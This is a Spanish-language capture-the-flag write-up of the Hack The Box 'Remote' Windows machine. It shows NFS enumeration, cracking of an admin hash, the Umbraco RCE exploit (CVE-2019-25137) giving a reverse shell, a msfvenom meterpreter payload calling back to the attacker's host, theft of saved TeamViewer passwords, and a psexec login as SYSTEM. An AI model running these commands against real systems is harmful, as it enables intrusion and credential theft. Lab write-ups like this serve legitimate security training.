Table of Contents
Hack The Box: Remote Writeup
Welcome to my detailed writeup of the easy difficulty machine “Remote” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.230.172 --ulimit 5000 -g
210.129.230.172 -> [21,80,111,135,139,445,2049,5985,47001,49664,49665,49667,49666,49678,49679,49680]
1nmap -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49667,49666,49678,49679,49680 -sCV 10.129.230.172 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 14:53 CET
3Nmap scan report for 10.129.230.172
4Host is up (0.038s latency).
5
6PORT STATE SERVICE VERSION
721/tcp open ftp Microsoft ftpd
8| ftp-syst:
9|_ SYST: Windows_NT
10|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
1180/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
12|_http-title: Home - Acme Widgets
13111/tcp open rpcbind 2-4 (RPC #100000)
14| rpcinfo:
15| program version port/proto service
16| 100000 2,3,4 111/tcp rpcbind
17| 100000 2,3,4 111/tcp6 rpcbind
18| 100000 2,3,4 111/udp rpcbind
19| 100000 2,3,4 111/udp6 rpcbind
20| 100003 2,3 2049/udp nfs
21| 100003 2,3 2049/udp6 nfs
22| 100003 2,3,4 2049/tcp nfs
23| 100003 2,3,4 2049/tcp6 nfs
24| 100005 1,2,3 2049/tcp mountd
25| 100005 1,2,3 2049/tcp6 mountd
26| 100005 1,2,3 2049/udp mountd
27| 100005 1,2,3 2049/udp6 mountd
28| 100021 1,2,3,4 2049/tcp nlockmgr
29| 100021 1,2,3,4 2049/tcp6 nlockmgr
30| 100021 1,2,3,4 2049/udp nlockmgr
31| 100021 1,2,3,4 2049/udp6 nlockmgr
32| 100024 1 2049/tcp status
33| 100024 1 2049/tcp6 status
34| 100024 1 2049/udp status
35|_ 100024 1 2049/udp6 status
36135/tcp open msrpc Microsoft Windows RPC
37139/tcp open netbios-ssn Microsoft Windows netbios-ssn
38445/tcp open microsoft-ds?
392049/tcp open nlockmgr 1-4 (RPC #100021)
405985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
41|_http-title: Not Found
42|_http-server-header: Microsoft-HTTPAPI/2.0
4347001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
44|_http-server-header: Microsoft-HTTPAPI/2.0
45|_http-title: Not Found
4649664/tcp open msrpc Microsoft Windows RPC
4749665/tcp open msrpc Microsoft Windows RPC
4849666/tcp open msrpc Microsoft Windows RPC
4949667/tcp open msrpc Microsoft Windows RPC
5049678/tcp open msrpc Microsoft Windows RPC
5149679/tcp open msrpc Microsoft Windows RPC
5249680/tcp open msrpc Microsoft Windows RPC
53Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
54
55Host script results:
56| smb2-time:
57| date: 2024-11-29T14:54:13
58|_ start_date: N/A
59| smb2-security-mode:
60| 3:1:1:
61|_ Message signing enabled but not required
62|_clock-skew: 1h00m01s
63
64Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
65Nmap done: 1 IP address (1 host up) scanned in 87.21 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.230.172 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 14:54 CET
4Nmap scan report for 10.129.230.172
5Host is up (0.039s latency).
6Not shown: 1496 open|filtered udp ports (no-response)
7PORT STATE SERVICE
8111/udp open rpcbind
92049/udp open nfs
1018582/udp closed unknown
1126171/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
FTP Enumeration
Vamos a empezar por los puertos mas bajos, y como según nmap
se permite un inicio de sesión anónimo vamos a ver si encontramos algo interesante.
No encontramos nada..
1ftp anonymous@10.129.230.172
2Connected to 10.129.230.172.
3220 Microsoft FTP Service
4331 Anonymous access allowed, send identity (e-mail name) as password.
5Password:
6230 User logged in.
7Remote system type is Windows_NT.
8ftp> dir
9229 Entering Extended Passive Mode (|||49685|)
10150 Opening ASCII mode data connection.
11226 Transfer complete.
HTTP Enumeration
Vamos a enumerar el servicio HTTP, whatweb
no nos reporta nada interesante.
1whatweb http://10.129.230.172
2http://10.129.230.172 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.129.230.172], JQuery[3.1.0], Script, Title[Home - Acme Widgets], Umbraco, X-UA-Compatible[IE=edge]
Así se ve el sitio web.
Tenemos un recurso /people
donde tenemos posibles nombres de usuario, vamos a crear una lista con algunas variaciones básicas.
1cat -p users.txt
2jan.skovgaard
3j.skovgaard
4jan.s
5janskovgaard
6matt.brailsford
7matt.b
8m.brailsford
9mattbrailsford
10lee.kelleher
11lee.k
12l.kelleher
13leekelleher
14jeavon.leopold
15j.leopold
16jeavon.l
17jeavonleopold
18jeroen.breuer
19jeroen.b
20j.breuer
21jeroenbreuer
Después de navegar un poco, he visto que se menciona varias veces Umbraco
, y en el apartado de contacto se nos reporta que debemos instalar Umbraco Forms
.
Podemos ver que Umbraco
es un CMS
También vemos que la versión 7.12.4
tiene una vulnerabilidad de tipo RCE pero necesitamos estar autenticados.
Desde el formulario que hemos encontrado antes, nos redirecciona al panel de inicio de sesión, obviamente no tengo credenciales.
SMB Enumeration
No encontramos nada por SMB ya que no se admiten las sesiones de invitados (null sessions)
1➜ content smbmap -H 10.129.230.172 -u '' --no-banner
2[*] Detected 1 hosts serving SMB
3[*] Established 0 SMB session(s)
4➜ content smbclient -L \\10.129.230.172 -U '' -N
5session setup failed: NT_STATUS_ACCESS_DENIED
Tampoco podemos enumerar el RPC ya que necesitamos credenciales también.
1sudo ./rpcenum -e All -i 10.129.230.172
2
3[!] Error: Access Denied
NFS Enumeration
Como hemos visto antes, en el escaneo UDP hemos visto que está el puerto 2049/UDP que suele corresponder a un servicio NFS, vamos a confirmar que se trata de NFS lo que está detrás de este puerto.
1sudo nmap -p2049 -sU -sCV 10.129.230.172
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 15:06 CET
3Nmap scan report for 10.129.230.172
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
72049/udp open nfs 2-4 (RPC #100003)
8
9Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
10Nmap done: 1 IP address (1 host up) scanned in 10.63 seconds
Una vez confirmado, vamos a intentar montar este NFS en nuestra máquina de atacante y con suerte no necesitamos autenticación.
1➜ content sudo mkdir /mnt/montura
2➜ content sudo mount -t nfs 10.129.230.172:/ /mnt/montura -o nolock
3➜ content ls -la /mnt/montura
4total 4
5drwxrwxrwx 2 nobody nogroup 64 Nov 29 2024 .
6drwxr-xr-x 3 root root 4096 Nov 29 15:07 ..
7drwx------ 2 nobody nogroup 4096 Feb 23 2020 site_backups
Una vez montado, vamos a enumerar que se encuentra en el NFS.
Information Disclosure + Hash Cracking
Encontré en este foro que existe un archivo llamado Umbraco.sdf
que contiene una versión de la base de datos por lo cual quizás contenga credenciales de acceso.
Filtrando por el usuario admin
ya que hay varios, vemos lo que parece un hash SHA-1
Podemos intentar crackear este hash con john
y lo conseguimos.
1john -w=/usr/share/wordlists/rockyou.txt hash
2Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
3Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
4Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
5Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
6Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
7Use the "--format=ripemd-160" option to force loading these as that type instead
8Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
9Use the "--format=has-160" option to force loading these as that type instead
10Using default input encoding: UTF-8
11Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
12Warning: no OpenMP support for this hash type, consider --fork=4
13Press 'q' or Ctrl-C to abort, almost any other key for status
14baconandcheese (?)
151g 0:00:00:00 DONE (2024-11-29 15:18) 1.041g/s 10233Kp/s 10233Kc/s 10233KC/s baconandchipies1..baconandcabbage
16Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
17Session completed.
CVE-2019-25137 (Remote Command Execution)
Igualmente, no podía iniciar sesión, eso es porque el usuario es admin@htb.local
y no admin
1admin@htb.local:baconandcheese
Ahora sí que podemos iniciar sesión, antes de nada me interesa saber la versión del CMS para ver si podemos explotar el RCE que hemos visto que existe.
Y vemos que es la versión vulnerable.
Vamos a clonarnos este repositorio y vamos a probar si funciona.
Por alguna razón, al explotarlo no veía el output de los comandos, por lo cual vamos a modificar el PoC eliminando estas líneas.
Ahora si nos ponemos en escucha por el puerto 4444 con netcat
1rlwrap -cEr nc -lvnp 4444
2listening on [any] 4444 ...
Y lanzamos el exploit, tenemos una excepción pero es normal ya que intenta buscar una parte del código que hemos borrado.
1python3 exploit.py -u admin@htb.local -p baconandcheese -w 'http://10.129.230.172' -i 10.10.14.87
2[*] Logging in at http://10.129.230.172/umbraco/backoffice/UmbracoApi/Authentication/PostLogin
3[*] Exploiting at http://10.129.230.172/umbraco/developer/Xslt/xsltVisualize.aspx
4Traceback (most recent call last):
5 File "/home/kali/Desktop/remote/content/Umbraco-RCE/exploit.py", line 91, in <module>
6 main()
7 File "/home/kali/Desktop/remote/content/Umbraco-RCE/exploit.py", line 69, in main
8 initial.wait_for_connection()
9 ^^^^^^^
10NameError: name 'initial' is not defined
Pero recibimos la conexión y conseguimos una consola en la máquina víctima.
1rlwrap -cEr nc -lvnp 4444
2listening on [any] 4444 ...
3connect to [10.10.14.87] from (UNKNOWN) [10.129.230.172] 49697
4Windows PowerShell
5Copyright (C) Microsoft Corporation. All rights reserved.
6whoami
7PS C:\windows\system32\inetsrv> whoami
8iis apppool\defaultapppool
Podemos leer la flag de usuario que se encuentra en C:\Users\Public\Desktop
1PS C:\USers\Public\Desktop> dir
2 Directory: C:\USers\Public\Desktop
3Mode LastWriteTime Length Name
4---- ------------- ------ ----
5-a---- 2/20/2020 2:14 AM 1191 TeamViewer 7.lnk
6-ar--- 11/29/2024 9:50 AM 34 user.txt
7type user.txt
8PS C:\USers\Public\Desktop> type user.txt
99b96ef964cb7e1c5...
Y también vemos un acceso directo a TeamViewer 7
, no es común ver este programa instalado en CTF’s…
Privilege Escalation
Gather TeamViewer Passwords w/metasploit
Podemos ver que efectivamente, TeamViewer
está instalado en el sistema.
1PS C:\Program Files (x86)> dir
2 Directory: C:\Program Files (x86)
3Mode LastWriteTime Length Name
4---- ------------- ------ ----
5d----- 9/15/2018 3:28 AM Common Files
6d----- 9/15/2018 5:06 AM Internet Explorer
7d----- 2/23/2020 2:19 PM Microsoft SQL Server
8d----- 2/23/2020 2:15 PM Microsoft.NET
9d----- 2/19/2020 3:11 PM MSBuild
10d----- 2/19/2020 3:11 PM Reference Assemblies
11d----- 2/20/2020 2:14 AM TeamViewer
12d----- 9/15/2018 5:05 AM Windows Defender
13d----- 9/15/2018 3:19 AM Windows Mail
14d----- 10/29/2018 6:39 PM Windows Media Player
15d----- 9/15/2018 3:19 AM Windows Multimedia Platform
16d----- 9/15/2018 3:28 AM windows nt
17d----- 10/29/2018 6:39 PM Windows Photo Viewer
18d----- 9/15/2018 3:19 AM Windows Portable Devices
19d----- 9/15/2018 3:19 AM WindowsPowerShell
Encontré que hay un módulo de metasploit donde es posible que en las versiones de TeamViewer 7+ es posible conseguir las credenciales guardadas en TeamViewer.
Así que primero vamos a conseguir una sesión de metasploit en la máquina víctima.
Vemos que la máquina víctima es de 64 bits.
1PS C:\windows\system32\inetsrv> systeminfo
2Host Name: REMOTE
3OS Name: Microsoft Windows Server 2019 Standard
4OS Version: 10.0.17763 N/A Build 17763
5OS Manufacturer: Microsoft Corporation
6OS Configuration: Standalone Server
7OS Build Type: Multiprocessor Free
8Registered Owner: Windows User
9Registered Organization:
10Product ID: 00429-00521-62775-AA801
11Original Install Date: 2/19/2020, 3:03:29 PM
12System Boot Time: 11/29/2024, 9:49:38 AM
13System Manufacturer: VMware, Inc.
14System Model: VMware7,1
15System Type: x64-based PC
Generamos la reverse shell con msfvenom
1msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.87 LPORT=443 -f exe > pwn.exe
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x86 from the payload
4No encoder specified, outputting raw payload
5Payload size: 354 bytes
6Final size of exe file: 73802 bytes
Compartimos este ejecutable mediante SMB con impacket-smbserver
1sudo impacket-smbserver -smb2support smbFolder .
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[*] Config file parsed
5[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
6[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
7[*] Config file parsed
8[*] Config file parsed
9[*] Config file parsed
En la máquina víctima, he creado el directorio C:\Windows\Temp\work
y vamos a copiarlo aquí.
1PS C:\windows\temp\work> copy \\10.10.14.87\smbFolder\pwn.exe .
2dir
3PS C:\windows\temp\work> dir
4 Directory: C:\windows\temp\work
5Mode LastWriteTime Length Name
6---- ------------- ------ ----
7-a---- 11/29/2024 9:33 AM 1148 manual_exploit.bat
8-a---- 11/29/2024 9:39 AM 73802 pwn.exe
Preparamos msfconsole
y nos ponemos en escucha por el puerto 443.
1msf6 > use exploit/multi/handler
2[*] Using configured payload generic/shell_reverse_tcp
3msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
4payload => windows/meterpreter/reverse_tcp
5msf6 exploit(multi/handler) > set LHOST tun0
6LHOST => tun0
7msf6 exploit(multi/handler) > set LPORT 443
8LPORT => 443
9msf6 exploit(multi/handler) > run
10
11[*] Started reverse TCP handler on 10.10.14.87:443
Ahora en la máquina víctima simplemente ejecutamos nuestra reverse shell.
1PS C:\windows\temp\work> .\pwn.exe
Y en metasploit
vemos que tenemos una nueva sesión abierta.
1[*] Meterpreter session 1 opened (10.10.14.87:443 -> 10.129.230.172:49713) at 2024-11-29 15:42:40 +0100
Ahora si ejecutamos el módulo post/windows/gather/credentials/teamviewer_passwords
vemos que encontramos una credencial.
!R3m0te!
No se para que usuario podría ser esta credencial, y al revisar los usuarios del sistema vemos que no existe ninguno.
1PS C:\windows\system32\inetsrv> net users
2User accounts for \\
3-------------------------------------------------------------------------------
4Administrator DefaultAccount Guest
5WDAGUtilityAccount
Con netexec
podemos comprobar si esta es la contraseña del usuario administrador y vemos que si.
1nxc smb 10.129.230.172 -u administrator -p '!R3m0te!'
2SMB 10.129.230.172 445 REMOTE [*] Windows 10 / Server 2019 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:False)
3SMB 10.129.230.172 445 REMOTE [+] remote\administrator:!R3m0te! (Pwn3d!)
Y ya con psexec
podemos conseguir una consola como nt authority\system
con máximos privilegios.
1psexec.py -target-ip 10.129.230.172 administrator:'!R3m0te!'@10.129.230.172
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[*] Requesting shares on 10.129.230.172.....
5[*] Found writable share ADMIN$
6[*] Uploading file wdIbFZtd.exe
7[*] Opening SVCManager on 10.129.230.172.....
8[*] Creating service gzMd on 10.129.230.172.....
9[*] Starting service gzMd.....
10[!] Press help for extra shell commands
11Microsoft Windows [Version 10.0.17763.107]
12(c) 2018 Microsoft Corporation. All rights reserved.
13
14C:\Windows\system32> whoami
15nt authority\system
Podemos leer la flag de root
1c:\Users\Administrator\Desktop> type root.txt
20d5f3e3b6dd3bca...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Remote #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #HTTP Enumeration #NFS Enumeration #Information Disclosure #Exposed User Credentials #Hash Cracking #Cracking #CVE-2019-25137 #TeamViewer 7 Passwords #Credentials Reuse